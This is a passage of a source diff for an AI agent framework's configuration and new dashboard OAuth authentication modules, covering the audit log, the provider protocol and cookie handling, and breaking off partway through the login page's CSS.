@@ -1181,6 +1232,44 @@ DEFAULT_CONFIG = {
         # Set this to True to re-enable the surfaces with the understanding
         # that the numbers are a local lower-bound estimate, not billing.
         "show_token_analytics": False,
+        # OAuth gate configuration (engaged when ``--host`` is set and
+        # ``--insecure`` is not). The bundled Nous Portal plugin reads
+        # both keys at startup; they are the canonical surface for these
+        # settings. Each can be overridden by an environment variable —
+        # ``HERMES_DASHBOARD_OAUTH_CLIENT_ID`` and
+        # ``HERMES_DASHBOARD_PORTAL_URL`` respectively — and the env var
+        # wins when set to a non-empty value. The override path is what
+        # Fly.io's platform-secret injection uses to push the per-deploy
+        # client_id at provisioning time without operators needing to
+        # touch config.yaml. Local dev / non-Fly deploys can set either
+        # surface; missing values fall through to the plugin's defaults
+        # (no provider registered when ``client_id`` is empty;
+        # ``portal_url`` defaults to https://portal.nousresearch.com).
+        "oauth": {
+            "client_id": "",  # agent:{instance_id} — Portal provisions this
+            "portal_url": "",  # blank → use plugin default (production Portal)
+        },
+        # Public URL override (env: ``HERMES_DASHBOARD_PUBLIC_URL``).
+        # When set, this is the complete authority — scheme + host +
+        # optional path prefix (e.g. ``https://example.com/hermes``) —
+        # the OAuth ``redirect_uri`` is built from. Set this for deploys
+        # behind reverse proxies that don't reliably forward
+        # ``X-Forwarded-Host`` / ``X-Forwarded-Proto`` / ``X-Forwarded-Prefix``
+        # (manual nginx setups, on-prem ingresses, custom-domain Fly
+        # deploys without proper proxy headers). When set,
+        # ``X-Forwarded-Prefix`` is IGNORED on the OAuth path because
+        # the operator has declared the public URL — we no longer need
+        # to guess from proxy headers, and stacking the prefix on top
+        # would double-prefix the common case where the prefix is
+        # already baked into ``public_url``. Leave empty to use the
+        # existing proxy-header reconstruction (the default).
+        #
+        # Validation: rejects values without ``http(s)://`` scheme or
+        # without a host, and any string containing quote / angle /
+        # whitespace / control characters. A malformed value silently
+        # falls through to request reconstruction rather than breaking
+        # the login flow.
+        "public_url": "",
     },
 
     # Privacy settings
@@ -1637,6 +1726,15 @@ DEFAULT_CONFIG = {
         # assignee to any installed profile. When unset, falls back to the
         # default profile. A task never ends up with assignee=None.
         "default_assignee": "",
+        # Per-profile concurrency cap (#21582). When set to a positive int,
+        # no single profile can have more than N workers running at once,
+        # even if the global max_in_progress / max_spawn caps would allow
+        # it. Tasks blocked this way defer to the next dispatcher tick.
+        # Unset (None) means "no per-profile cap" — backward-compatible
+        # with existing installs. Useful for fan-out workflows that would
+        # otherwise saturate one profile's local model / API quota /
+        # browser pool while leaving other profiles idle.
+        "max_in_progress_per_profile": None,
         # When true, the kanban dispatcher auto-runs the decomposer on
         # tasks that land in Triage (every dispatcher tick). When false,
         # decomposition is manual via `hermes kanban decompose <id>` or
@@ -1717,6 +1815,21 @@ DEFAULT_CONFIG = {
     # Gateway settings — control how messaging platforms (Telegram, Discord,
     # Slack, etc.) deliver agent-produced files as native attachments.
     "gateway": {
+        # When false (default), any file path the agent emits is delivered
+        # as a native attachment as long as it isn't under the credential /
+        # system-path denylist (/etc, /proc, ~/.ssh, ~/.aws, ~/.hermes/.env,
+        # auth.json, etc.). This matches the symmetry of inbound delivery
+        # — we accept any document type the user uploads, and the agent
+        # can hand back any file that isn't a credential.
+        #
+        # When true, fall back to the older allowlist+recency-window
+        # behavior: files must live under the Hermes cache, under
+        # ``media_delivery_allow_dirs``, or be freshly produced inside the
+        # ``trust_recent_files_seconds`` window. Recommended for
+        # public-facing gateways where prompt injection from one user
+        # shouldn't be able to exfiltrate the host's secrets to that same
+        # user. Bridged to HERMES_MEDIA_DELIVERY_STRICT.
+        "strict": False,
         # Extra directories from which model-emitted bare file paths may be
         # uploaded as native gateway attachments. Files inside the Hermes
         # cache (~/.hermes/cache/{documents,images,audio,video,screenshots})
@@ -1724,7 +1837,7 @@ DEFAULT_CONFIG = {
         # (project dirs, scratch dirs, mounted shares). Accepts a list of
         # absolute paths or a single os.pathsep-separated string. Bridged
         # to HERMES_MEDIA_ALLOW_DIRS at gateway startup. Tilde paths are
-        # expanded.
+        # expanded. Honored in both default and strict mode.
         "media_delivery_allow_dirs": [],
         # When true, files whose mtime is within ``trust_recent_files_seconds``
         # of "now" are trusted for native delivery even outside the cache /
@@ -1732,10 +1845,12 @@ DEFAULT_CONFIG = {
         # PDFs the agent writes into a working directory. System paths
         # (/etc, /proc, ~/.ssh, ~/.aws, etc.) remain blocked regardless.
         # Disable to fall back to pure-allowlist mode. Bridged to
-        # HERMES_MEDIA_TRUST_RECENT_FILES.
+        # HERMES_MEDIA_TRUST_RECENT_FILES. Only consulted when ``strict``
+        # is true; in default mode the denylist alone gates delivery.
         "trust_recent_files": True,
         # Recency window in seconds. 600 (10 min) comfortably covers a
         # multi-tool agent turn. Bridged to HERMES_MEDIA_TRUST_RECENT_SECONDS.
+        # Only consulted when ``strict`` is true.
         "trust_recent_files_seconds": 600,
     },
 
@@ -1905,13 +2020,25 @@ DEFAULT_CONFIG = {
     },
 
     # Paste collapse thresholds (TUI + CLI).
-    # collapse_threshold: paste collapses to a file reference when line count
-    #   exceeds this value (bracketed paste, safe: appends to existing text).
-    # collapse_threshold_fallback: same but for the fallback heuristic used
-    #   by terminals without bracketed paste support (destructive: replaces
-    #   entire buffer).  0 = disabled.
+    #
+    # paste_collapse_threshold (default 5)
+    #   Bracketed-paste handler. Pastes with this many newlines or more
+    #   collapse to a file reference. Set 0 to disable.
+    #
+    # paste_collapse_threshold_fallback (default 5)
+    #   Fallback heuristic for terminals without bracketed paste support.
+    #   Same line count test but heuristically gated by chars-added /
+    #   newlines-added to avoid false positives from normal typing.
+    #   Set 0 to disable.
+    #
+    # paste_collapse_char_threshold (default 2000)
+    #   Long single-line paste guard. Pastes whose total char length
+    #   reaches this value collapse to a file reference even if line
+    #   count is below the line threshold. Catches the "8000 chars of
+    #   minified JSON / log output on one line" case. Set 0 to disable.
     "paste_collapse_threshold": 5,
-    "paste_collapse_threshold_fallback": 0,
+    "paste_collapse_threshold_fallback": 5,
+    "paste_collapse_char_threshold": 2000,
 
 
     # Config schema version - bump this when adding new required fields
@@ -2404,10 +2531,10 @@ OPTIONAL_ENV_VARS = {
         "advanced": True,
     },
     "TAVILY_API_KEY": {
-        "description": "Tavily API key for AI-native web search, extract, and crawl",
+        "description": "Tavily API key for AI-native web search and extract",
         "prompt": "Tavily API key",
         "url": "https://app.tavily.com/home",
-        "tools": ["web_search", "web_extract", "web_crawl"],
+        "tools": ["web_search", "web_extract"],
         "password": True,
         "category": "tool",
     },
@@ -2483,6 +2610,14 @@ OPTIONAL_ENV_VARS = {
         "password": True,
         "category": "tool",
     },
+    "KREA_API_KEY": {
+        "description": "Krea API key for Krea 2 image generation (Medium + Large)",
+        "prompt": "Krea API key",
+        "url": "https://www.krea.ai/settings/api-tokens",
+        "tools": ["image_generate"],
+        "password": True,
+        "category": "tool",
+    },
     "VOICE_TOOLS_OPENAI_KEY": {
         "description": "OpenAI API key for voice transcription (Whisper) and OpenAI TTS",
         "prompt": "OpenAI API Key (for Whisper STT + TTS)",
@@ -2883,8 +3018,8 @@ OPTIONAL_ENV_VARS = {
         "advanced": True,
     },
     "API_SERVER_KEY": {
-        "description": "Bearer token for API server authentication. Required for non-loopback binding; server refuses to start without it. On loopback (127.0.0.1), all requests are allowed if empty.",
-        "prompt": "API server auth key (required for network access)",
+        "description": "Bearer token for API server authentication. Required whenever the API server is enabled; server refuses to start without it.",
+        "prompt": "API server auth key",
         "url": None,
         "password": True,
         "category": "messaging",
@@ -2899,7 +3034,7 @@ OPTIONAL_ENV_VARS = {
         "advanced": True,
     },
     "API_SERVER_HOST": {
-        "description": "Host/bind address for the API server (default: 127.0.0.1). Use 0.0.0.0 for network access — server refuses to start without API_SERVER_KEY.",
+        "description": "Host/bind address for the API server (default: 127.0.0.1). API_SERVER_KEY is still required even on loopback binds.",
         "prompt": "API server host",
         "url": None,
         "password": False,
@@ -5227,9 +5362,6 @@ def show_config():
         print(f"  Daytona image: {terminal.get('daytona_image', 'nikolaik/python-nodejs:python3.11-nodejs20')}")
         daytona_key = get_env_value('DAYTONA_API_KEY')
         print(f"  API key:      {'configured' if daytona_key else '(not set)'}")
-    elif terminal.get('backend') == 'vercel_sandbox':
-        print(f"  Vercel runtime: {terminal.get('vercel_runtime', 'node24')}")
-        print(f"  Vercel auth:    {'configured' if get_env_value('VERCEL_OIDC_TOKEN') or (get_env_value('VERCEL_TOKEN') and get_env_value('VERCEL_PROJECT_ID') and get_env_value('VERCEL_TEAM_ID')) else '(not set)'}")
     elif terminal.get('backend') == 'ssh':
         ssh_host = get_env_value('TERMINAL_SSH_HOST')
         ssh_user = get_env_value('TERMINAL_SSH_USER')
@@ -5426,9 +5558,10 @@ def set_config_value(key: str, value: str):
         "terminal.singularity_image": "TERMINAL_SINGULARITY_IMAGE",
         "terminal.modal_image": "TERMINAL_MODAL_IMAGE",
         "terminal.daytona_image": "TERMINAL_DAYTONA_IMAGE",
-        "terminal.vercel_runtime": "TERMINAL_VERCEL_RUNTIME",
         "terminal.docker_mount_cwd_to_workspace": "TERMINAL_DOCKER_MOUNT_CWD_TO_WORKSPACE",
         "terminal.docker_run_as_host_user": "TERMINAL_DOCKER_RUN_AS_HOST_USER",
+        "terminal.docker_persist_across_processes": "TERMINAL_DOCKER_PERSIST_ACROSS_PROCESSES",
+        "terminal.docker_orphan_reaper": "TERMINAL_DOCKER_ORPHAN_REAPER",
         "terminal.docker_env": "TERMINAL_DOCKER_ENV",
         # terminal.cwd intentionally excluded — CLI resolves at runtime,
         # gateway bridges it in gateway/run.py. Persisting to .env causes

hermes_cli/dashboard_auth/__init__.py

@@ -0,0 +1,40 @@
+"""Dashboard authentication provider framework.
+
+The dashboard auth gate engages only when the dashboard binds to a
+non-loopback host without ``--insecure``. In that mode, every request must
+carry a verified session from one of the registered ``DashboardAuthProvider``
+plugins.
+
+The Nous provider lives in ``plugins/dashboard-auth-nous/`` and is the
+default. Third parties register their own providers via the plugin hook
+``ctx.register_dashboard_auth_provider``.
+"""
+from hermes_cli.dashboard_auth.base import (
+    DashboardAuthProvider,
+    Session,
+    LoginStart,
+    InvalidCodeError,
+    ProviderError,
+    RefreshExpiredError,
+    assert_protocol_compliance,
+)
+from hermes_cli.dashboard_auth.registry import (
+    register_provider,
+    get_provider,
+    list_providers,
+    clear_providers,
+)
+
+__all__ = [
+    "DashboardAuthProvider",
+    "Session",
+    "LoginStart",
+    "InvalidCodeError",
+    "ProviderError",
+    "RefreshExpiredError",
+    "assert_protocol_compliance",
+    "register_provider",
+    "get_provider",
+    "list_providers",
+    "clear_providers",
+]

hermes_cli/dashboard_auth/audit.py

@@ -0,0 +1,87 @@
+"""Audit log for dashboard-auth events.
+
+Profile-aware location: ``$HERMES_HOME/logs/dashboard-auth.log``.
+Format: one JSON object per line. Token-like fields are stripped before
+serialisation to avoid leaking refresh tokens or JWTs to disk.
+
+This module deliberately keeps a minimal dependency surface — no imports
+from ``hermes_constants`` or other hermes_cli modules — so it can be
+imported safely from middleware code that loads early in the startup
+sequence.
+"""
+from __future__ import annotations
+
+import datetime as _dt
+import enum
+import json
+import logging
+import os
+import threading
+from pathlib import Path
+from typing import Any
+
+_log = logging.getLogger(__name__)
+_write_lock = threading.Lock()
+
+# Field names that must never appear in the log raw. Any kwarg matching
+# these is silently dropped.
+_REDACTED_FIELDS: frozenset = frozenset({
+    "access_token", "refresh_token", "code", "code_verifier",
+    "state", "ticket", "cookie", "Authorization", "authorization",
+})
+
+
+class AuditEvent(enum.Enum):
+    """Event types written to dashboard-auth.log.
+
+    Values are the literal ``event`` field on the JSON line.
+    """
+
+    LOGIN_START = "login_start"
+    LOGIN_SUCCESS = "login_success"
+    LOGIN_FAILURE = "login_failure"
+    LOGOUT = "logout"
+    REFRESH_SUCCESS = "refresh_success"
+    REFRESH_FAILURE = "refresh_failure"
+    REVOKE = "revoke"
+    SESSION_VERIFY_FAILURE = "session_verify_failure"
+    WS_TICKET_MINTED = "ws_ticket_minted"
+    WS_TICKET_REJECTED = "ws_ticket_rejected"
+
+
+def _resolve_log_path() -> Path:
+    """``$HERMES_HOME/logs/dashboard-auth.log`` with the standard fallback.
+
+    Mirrors ``hermes_constants.get_hermes_home`` semantics: env var wins,
+    else ``~/.hermes``. A local copy avoids an import cycle with the
+    middleware which lives below ``hermes_cli``.
+    """
+    home = os.environ.get("HERMES_HOME") or str(Path.home() / ".hermes")
+    return Path(home) / "logs" / "dashboard-auth.log"
+
+
+def audit_log(event: AuditEvent, **fields: Any) -> None:
+    """Append one event to the audit log.
+
+    Token-like fields are dropped. Missing log directory is created.
+    Write failures are logged at WARNING but never raise — auth must not
+    fail because the audit logger broke.
+    """
+    safe_fields = {
+        k: v for k, v in fields.items()
+        if k not in _REDACTED_FIELDS
+    }
+    entry = {
+        "ts": _dt.datetime.now(_dt.timezone.utc).isoformat(),
+        "event": event.value,
+        **safe_fields,
+    }
+    line = json.dumps(entry, separators=(",", ":")) + "\n"
+    path = _resolve_log_path()
+    try:
+        path.parent.mkdir(parents=True, exist_ok=True)
+        with _write_lock:
+            with open(path, "a", encoding="utf-8") as f:
+                f.write(line)
+    except Exception as e:
+        _log.warning("dashboard-auth audit log write failed: %s", e)

hermes_cli/dashboard_auth/base.py

@@ -0,0 +1,158 @@
+"""Abstract base + dataclasses + exceptions for dashboard auth providers."""
+from __future__ import annotations
+
+from abc import ABC, abstractmethod
+from dataclasses import dataclass
+from typing import Optional
+
+
+@dataclass(frozen=True)
+class Session:
+    """A verified identity. Returned by ``complete_login`` and ``verify_session``.
+
+    All fields are mandatory. Providers that don't have a concept of orgs
+    should set ``org_id`` to an empty string. ``access_token`` and
+    ``refresh_token`` are opaque to Hermes — provider-specific.
+    """
+
+    user_id: str
+    email: str
+    display_name: str
+    org_id: str
+    provider: str
+    expires_at: int  # unix seconds; the access_token's exp claim
+    access_token: str
+    refresh_token: str
+
+
+@dataclass(frozen=True)
+class LoginStart:
+    """First leg of the OAuth round trip.
+
+    ``redirect_url`` is the URL the browser must navigate to (e.g. the
+    Portal's ``/oauth/authorize``). ``cookie_payload`` is a dict of cookie
+    name → serialised value that the auth route will ``Set-Cookie`` on the
+    response. Used for PKCE state, CSRF nonces, etc. Cookies set here MUST
+    be HttpOnly + Secure (when over HTTPS) + SameSite=Lax with a TTL ≤ 10
+    minutes (the login lifetime).
+    """
+
+    redirect_url: str
+    cookie_payload: dict[str, str]
+
+
+class ProviderError(Exception):
+    """IDP unreachable, network error, or other transient failure.
+
+    Middleware translates this to HTTP 503.
+    """
+
+
+class InvalidCodeError(Exception):
+    """The OAuth callback ``code`` / ``state`` failed validation.
+
+    Middleware translates this to HTTP 400.
+    """
+
+
+class RefreshExpiredError(Exception):
+    """The refresh token is dead.
+
+    Middleware clears cookies and forces re-login (302 → ``/login``).
+    """
+
+
+class DashboardAuthProvider(ABC):
+    """Protocol every dashboard-auth provider plugin implements.
+
+    Lifecycle:
+      1. ``start_login`` — user clicks "Log in with X" on the login page.
+         Provider returns a redirect URL and any PKCE/CSRF state to stash
+         in short-lived cookies.
+      2. Browser bounces through the OAuth IDP and lands at /auth/callback.
+      3. ``complete_login`` — exchange the code + verifier for a Session.
+      4. ``verify_session`` — called on every request to validate the
+         access token in the cookie. Returns ``None`` if the token is
+         expired or invalid (middleware then triggers refresh or logout).
+      5. ``refresh_session`` — called when the access token is near expiry.
+         Returns a new Session with rotated tokens.
+      6. ``revoke_session`` — called on /auth/logout. Best-effort.
+
+    Failure semantics:
+      * ``start_login`` may raise ``ProviderError`` if the IDP is
+        unreachable.
+      * ``complete_login`` raises ``InvalidCodeError`` on bad code/state;
+        ``ProviderError`` if the IDP is unreachable.
+      * ``verify_session`` returns ``None`` on expiry / unknown token;
+        raises ``ProviderError`` if the IDP is unreachable. Middleware
+        treats expiry and unreachable differently (expiry → refresh;
+        unreachable → 503).
+      * ``refresh_session`` raises ``RefreshExpiredError`` when the
+        refresh token is also invalid; middleware then forces re-login.
+        Raises ``ProviderError`` on network failure.
+      * ``revoke_session`` is best-effort and must not raise.
+
+    Subclasses MUST set ``name`` (lowercase identifier, stable forever)
+    and ``display_name`` (user-facing label on the login page).
+    """
+
+    name: str = ""
+    display_name: str = ""
+
+    @abstractmethod
+    def start_login(self, *, redirect_uri: str) -> LoginStart: ...
+
+    @abstractmethod
+    def complete_login(
+        self,
+        *,
+        code: str,
+        state: str,
+        code_verifier: str,
+        redirect_uri: str,
+    ) -> Session: ...
+
+    @abstractmethod
+    def verify_session(self, *, access_token: str) -> Optional[Session]: ...
+
+    @abstractmethod
+    def refresh_session(self, *, refresh_token: str) -> Session: ...
+
+    @abstractmethod
+    def revoke_session(self, *, refresh_token: str) -> None: ...
+
+
+def assert_protocol_compliance(cls: type) -> None:
+    """Raise ``TypeError`` if ``cls`` doesn't fully implement the provider protocol.
+
+    Call this in every provider plugin's unit tests::
+
+        def test_protocol_compliance():
+            assert_protocol_compliance(MyProvider)
+
+    Returns ``None`` on success so callers can assert it explicitly.
+    """
+    required_methods = (
+        "start_login",
+        "complete_login",
+        "verify_session",
+        "refresh_session",
+        "revoke_session",
+    )
+    required_attrs = ("name", "display_name")
+
+    for attr in required_attrs:
+        val = getattr(cls, attr, "")
+        if not val:
+            raise TypeError(
+                f"{cls.__name__} missing or empty attribute: {attr!r}"
+            )
+    for method in required_methods:
+        if not callable(getattr(cls, method, None)):
+            raise TypeError(f"{cls.__name__} missing method: {method}")
+    # Also catch the ABC-not-overridden case.
+    if getattr(cls, "__abstractmethods__", None):
+        raise TypeError(
+            f"{cls.__name__} has unimplemented abstract methods: "
+            f"{sorted(cls.__abstractmethods__)}"
+        )

hermes_cli/dashboard_auth/cookies.py

@@ -0,0 +1,234 @@
+"""Cookie helpers for dashboard auth.
+
+Three cookies in play:
+  - hermes_session_at:   the OAuth access token
+                         (HttpOnly, lifetime = token TTL)
+  - hermes_session_rt:   the OAuth refresh token
+                         (HttpOnly, lifetime = 30 days)
+                         **DEPRECATED in OAuth contract v1** — Nous Portal
+                         does not issue refresh tokens; we keep the cookie
+                         name and clear semantics for forward compatibility
+                         and to flush stale cookies from old browsers.
+  - hermes_session_pkce: short-lived PKCE state + CSRF nonce + provider
+                         hint (HttpOnly, lifetime = 10 minutes)
+
+All three are ``SameSite=Lax`` (browser will send on cross-site GET
+top-level navigation, which we need for the IDP redirect back to
+``/auth/callback``) and live under the prefix's Path. ``Secure`` is set
+ONLY when the dashboard was reached over HTTPS — detected via the
+request URL scheme, which honours ``X-Forwarded-Proto`` upstream of
+Fly's TLS terminator when uvicorn is configured with
+``proxy_headers=True``. Loopback dev traffic is always HTTP so
+``Secure`` would lock the cookies out of the browser.
+
+Cookie prefix selection (browser hardening per
+https://datatracker.ietf.org/doc/html/draft-west-cookie-prefixes):
+
+  * Loopback HTTP — bare name. ``__Host-`` / ``__Secure-`` require
+    ``Secure``, which is incompatible with HTTP.
+  * Gated HTTPS, direct deploy (Path=/) — ``__Host-`` prefix. Binds the
+    cookie to the exact origin (no Domain attribute) — strongest spec
+    guarantee.
+  * Gated HTTPS, behind a reverse-proxy prefix (Path=/hermes) —
+    ``__Secure-`` prefix. ``__Host-`` is disallowed when Path != "/";
+    ``__Secure-`` keeps the Secure-required hardening without the
+    Path constraint, and the explicit ``Path=/hermes`` covers
+    same-origin app isolation.
+
+The setters and readers BOTH consult the active prefix because the
+cookie *name* changes — a reader that looked up the bare name when the
+setter wrote ``__Secure-hermes_session_at`` would never find the value.
+
+.. deprecated:: contract v1
+   ``set_session_cookies`` accepts ``refresh_token=""`` (the contract-v1
+   default) and silently skips writing the RT cookie in that case.
+   ``clear_session_cookies`` still emits a Max-Age=0 deletion for the RT
+   cookie so users carrying a stale cookie from an earlier deployment get
+   it cleared on logout / session expiry. The full refresh-flow machinery
+   was rewritten as "401 → redirect to /login" in Phase 6.
+"""
+from __future__ import annotations
+
+from typing import Optional, Tuple
+
+from fastapi import Request
+from fastapi.responses import Response
+
+# Bare cookie names — the request-scoped ``_resolved_name`` helper
+# decides whether to prepend ``__Host-`` / ``__Secure-`` based on the
+# request's HTTPS + prefix combination.
+SESSION_AT_COOKIE = "hermes_session_at"
+SESSION_RT_COOKIE = "hermes_session_rt"
+PKCE_COOKIE = "hermes_session_pkce"
+
+# Possible name variants we may have to read back. Sorted so most-strict
+# wins on iteration when both happen to be present (shouldn't happen in
+# practice — a single request emits exactly one variant).
+_NAME_VARIANTS = ("__Host-", "__Secure-", "")
+
+# 30 days — matches Portal's REFRESH_TOKEN_TTL_SECONDS
+_RT_MAX_AGE = 30 * 24 * 60 * 60
+_PKCE_MAX_AGE = 10 * 60
+
+
+def _resolved_name(bare: str, *, use_https: bool, prefix: str) -> str:
+    """Pick the cookie-prefix variant for the active request shape.
+
+    See module docstring for the prefix selection rules. Mismatch
+    between setter and reader would silently break sessions, so this
+    function is the single source of truth for naming.
+    """
+    if not use_https:
+        return bare
+    if prefix:
+        # Path != "/" forbids __Host-; fall back to __Secure-.
+        return f"__Secure-{bare}"
+    return f"__Host-{bare}"
+
+
+def _cookie_path(prefix: str) -> str:
+    """Cookie ``Path`` attribute for the active deploy shape.
+
+    Under ``X-Forwarded-Prefix: /hermes`` we want ``Path=/hermes`` so:
+      a) the browser sends the cookie back on requests under the prefix
+         (browsers omit the cookie if request path doesn't start with
+         Path);
+      b) the cookie doesn't leak to other apps on the same origin
+         (``mission-control.tilos.com/billing/...``).
+
+    Direct-deploy (no proxy prefix) gets ``Path=/``.
+    """
+    return prefix if prefix else "/"
+
+
+def _common_attrs(*, use_https: bool, prefix: str) -> dict:
+    attrs: dict = {
+        "httponly": True,
+        "samesite": "lax",
+        "path": _cookie_path(prefix),
+    }
+    if use_https:
+        attrs["secure"] = True
+    return attrs
+
+
+def set_session_cookies(
+    response: Response,
+    *,
+    access_token: str,
+    refresh_token: str,
+    access_token_expires_in: int,
+    use_https: bool,
+    prefix: str = "",
+) -> None:
+    """Set the session cookies on the response.
+
+    ``access_token_expires_in`` is in seconds. Use the provider's reported
+    TTL for the access token.
+
+    ``refresh_token`` is accepted for backward / forward compatibility but
+    SKIPPED when empty — Nous Portal contract v1 issues no refresh tokens
+    so a ``Session.refresh_token == ""`` from the provider means we don't
+    persist anything. If a future contract revision starts emitting refresh
+    tokens, this helper will write the RT cookie again with no other change.
+
+    ``prefix`` is the normalised X-Forwarded-Prefix value (e.g. ``/hermes``)
+    or ``""`` for a direct deploy. It influences both the cookie name
+    (``__Host-`` vs ``__Secure-`` vs bare) and the ``Path`` attribute.
+    """
+    response.set_cookie(
+        _resolved_name(SESSION_AT_COOKIE, use_https=use_https, prefix=prefix),
+        access_token,
+        max_age=access_token_expires_in,
+        **_common_attrs(use_https=use_https, prefix=prefix),
+    )
+    # Contract v1: empty refresh token means "don't persist RT cookie".
+    # Keeping a literal empty-value cookie around would be dead state at
+    # best, attack surface at worst.
+    if refresh_token:
+        response.set_cookie(
+            _resolved_name(SESSION_RT_COOKIE, use_https=use_https, prefix=prefix),
+            refresh_token,
+            max_age=_RT_MAX_AGE,
+            **_common_attrs(use_https=use_https, prefix=prefix),
+        )
+
+
+def clear_session_cookies(response: Response, *, prefix: str = "") -> None:
+    """Emit Max-Age=0 deletions for both session cookies.
+
+    To delete a cookie reliably the deletion's ``Path`` must match the
+    set path AND the cookie name must match the variant the setter used.
+    We don't know which variant was originally set (cookie prefix
+    depends on the request that set it), so we emit deletions for every
+    plausible variant under the active path.
+    """
+    path = _cookie_path(prefix)
+    for variant in _NAME_VARIANTS:
+        response.set_cookie(
+            f"{variant}{SESSION_AT_COOKIE}", "", max_age=0,
+            path=path, httponly=True, samesite="lax",
+        )
+        response.set_cookie(
+            f"{variant}{SESSION_RT_COOKIE}", "", max_age=0,
+            path=path, httponly=True, samesite="lax",
+        )
+
+
+def set_pkce_cookie(
+    response: Response, *, payload: str, use_https: bool, prefix: str = "",
+) -> None:
+    response.set_cookie(
+        _resolved_name(PKCE_COOKIE, use_https=use_https, prefix=prefix),
+        payload,
+        max_age=_PKCE_MAX_AGE,
+        **_common_attrs(use_https=use_https, prefix=prefix),
+    )
+
+
+def clear_pkce_cookie(response: Response, *, prefix: str = "") -> None:
+    path = _cookie_path(prefix)
+    for variant in _NAME_VARIANTS:
+        response.set_cookie(
+            f"{variant}{PKCE_COOKIE}", "", max_age=0,
+            path=path, httponly=True, samesite="lax",
+        )
+
+
+def _read_with_fallback(
+    request: Request, bare_name: str,
+) -> Optional[str]:
+    """Read a cookie by checking every prefix variant in order.
+
+    The setter chooses one variant based on the active request shape;
+    the reader doesn't know which one fired (the request that READS
+    the cookie may not be the same shape as the request that SET it
+    in pathological cases). Trying all three guarantees we find it.
+    """
+    for variant in _NAME_VARIANTS:
+        value = request.cookies.get(f"{variant}{bare_name}")
+        if value is not None:
+            return value
+    return None
+
+
+def read_session_cookies(request: Request) -> Tuple[Optional[str], Optional[str]]:
+    """Returns (access_token, refresh_token), either may be None."""
+    at = _read_with_fallback(request, SESSION_AT_COOKIE)
+    rt = _read_with_fallback(request, SESSION_RT_COOKIE)
+    return at, rt
+
+
+def read_pkce_cookie(request: Request) -> Optional[str]:
+    return _read_with_fallback(request, PKCE_COOKIE)
+
+
+def detect_https(request: Request) -> bool:
+    """Decide whether to set the ``Secure`` cookie flag.
+
+    Reads ``request.url.scheme`` — under uvicorn's ``proxy_headers=True``
+    (which start_server enables when the gate is active), this honours
+    ``X-Forwarded-Proto`` from Fly's TLS terminator. Loopback traffic is
+    always HTTP so this returns False there.
+    """
+    return request.url.scheme == "https"

hermes_cli/dashboard_auth/login_page.py

@@ -0,0 +1,384 @@
+"""Server-rendered /login page.
+
+No React, no JavaScript dependency. Listed providers come from the
+registry; clicking a provider sends a GET to
+``/auth/login?provider=<name>``.
+
+Visual styling mirrors the Nous Research design system (the
+``@nous-research/ui`` package the React dashboard uses): the same
+``Collapse`` / ``Rules Compressed`` typeface, amber-on-dark colour
+tokens (``#170d02`` / ``#ffac02`` / ``#fff``), uppercase + wide-tracking
+brand chrome, and the inset-bevel button shadow. Fonts are served
+out of the SPA's ``/fonts/`` directory which the dashboard-auth gate
+already allowlists pre-auth (see ``_GATE_PUBLIC_PREFIXES`` in
+``middleware.py``), so the page renders without needing the React
+bundle loaded.
+
+Test-stable class names: the existing test suite extracts the
+``class="provider-btn"`` anchor href to walk the OAuth flow. That
+class name MUST NOT change without updating
+``tests/hermes_cli/test_dashboard_auth_401_reauth.py``.
+"""
+from __future__ import annotations
+
+import html
+
+from hermes_cli.dashboard_auth import list_providers
+
+# Inline minimal CSS. The dashboard's full skin lives in the React
+# bundle, which we deliberately do NOT load here — the login page must
+# not depend on the SPA build being present or on the injected session
+# token.
+#
+# Single curly braces are placeholders for ``str.format``; CSS curlies
+# are doubled (``{{`` / ``}}``).
+_LOGIN_HTML_TEMPLATE = """\
+<!doctype html>
+<html lang="en">
+<head>
+<meta charset="utf-8">
+<meta name="viewport" content="width=device-width, initial-scale=1">
+<title>Sign in — Hermes Agent</title>
+<style>
+  /* Brand fonts shipped by @nous-research/ui — same files the SPA loads. */
+  @font-face {{
+    font-family: 'Collapse';
+    font-style: normal;
+    font-weight: 400;
+    font-display: swap;
+    src: url('/fonts/Collapse-Regular.woff2') format('woff2');
+  }}
+  @font-face {{
+    font-family: 'Collapse';
+    font-style: normal;
+    font-weight: 700;
+    font-display: swap;
+    src: url('/fonts/Collapse-Bold.woff2') format('woff2');
+  }}
+  @font-face {{
+    font-family: 'Rules Compressed';
+    font-style: normal;
+    font-weight: 400;
+    font-display: swap;
+    src: url('/fonts/RulesCompressed-Regular.woff2') format('woff2');
+  }}
+  @font-face {{
+    font-family: 'Rules Compressed';
+    font-style: normal;
+    font-weight: 600;
+    font-display: swap;
+    src: url('/fonts/RulesCompressed-Medium.woff2') format('woff2');
+  }}
+
+  :root {{
+    --background-base: #170d02;
+    --background: #170d02;
+    --midground: #ffac02;
+    --foreground: #ffffff;
+    --hairline: color-mix(in srgb, #ffac02 18%, transparent);
+    --hairline-strong: color-mix(in srgb, #ffac02 35%, transparent);
+  }}
+
+  *, *::before, *::after {{ box-sizing: border-box; }}
+
+  html, body {{
+    margin: 0;
+    padding: 0;
+    min-height: 100%;
+    background: var(--background-base);
+    color: var(--foreground);
+    font-family: 'Collapse', system-ui, -apple-system, "Segoe UI", Roboto, sans-serif;
+    font-size: 16px;
+    line-height: 1.5;
+    -webkit-font-smoothing: antialiased;
+    -moz-osx-font-smoothing: grayscale;
+  }}
+
+  /* Subtle dot-grid backdrop — DS idiom (see `.dither` in globals.css). */
+  body {{
+    background-image:
+      radial-gradient(
+        ellipse at top,
+        color-mix(in srgb, var(--midground) 6%, transparent) 0%,
+        transparent 55%
+      ),
+      repeating-conic-gradient(
+        color-mix(in srgb, var(--midground) 4%, transparent) 0% 25%,
+        transparent 0% 50%
+      );
+    background-size: auto, 3px 3px;
+    background-attachment: fixed;
+  }}
+
+  /* Layout: vertically center on tall screens, top-anchor on short. */
+  body {{
+    display: grid;
+    place-items: center;
+    padding: clamp(1.5rem, 6vh, 6rem) 1.25rem;
+  }}
+
+  main {{
+    width: 100%;
+    max-width: 26rem;
+    position: relative;
+    animation: slide-up 0.6s ease-out both;
+  }}
+
+  @keyframes slide-up {{
+    from {{ opacity: 0; transform: translateY(6px); }}
+    to   {{ opacity: 1; transform: translateY(0); }}
+  }}
+
+  @media (prefers-reduced-motion: reduce) {{
+    main {{ animation: none; }}
+  }}
+
+  /* Brand wordmark above the card — same uppercase + wide-tracking
+     idiom DS Buttons use. */
+  .brand {{
+    text-align: center;
+    margin-bottom: 1.75rem;
+    font-family: 'Rules Compressed', 'Collapse', sans-serif;
+    font-weight: 600;
+    font-size: 1.05rem;
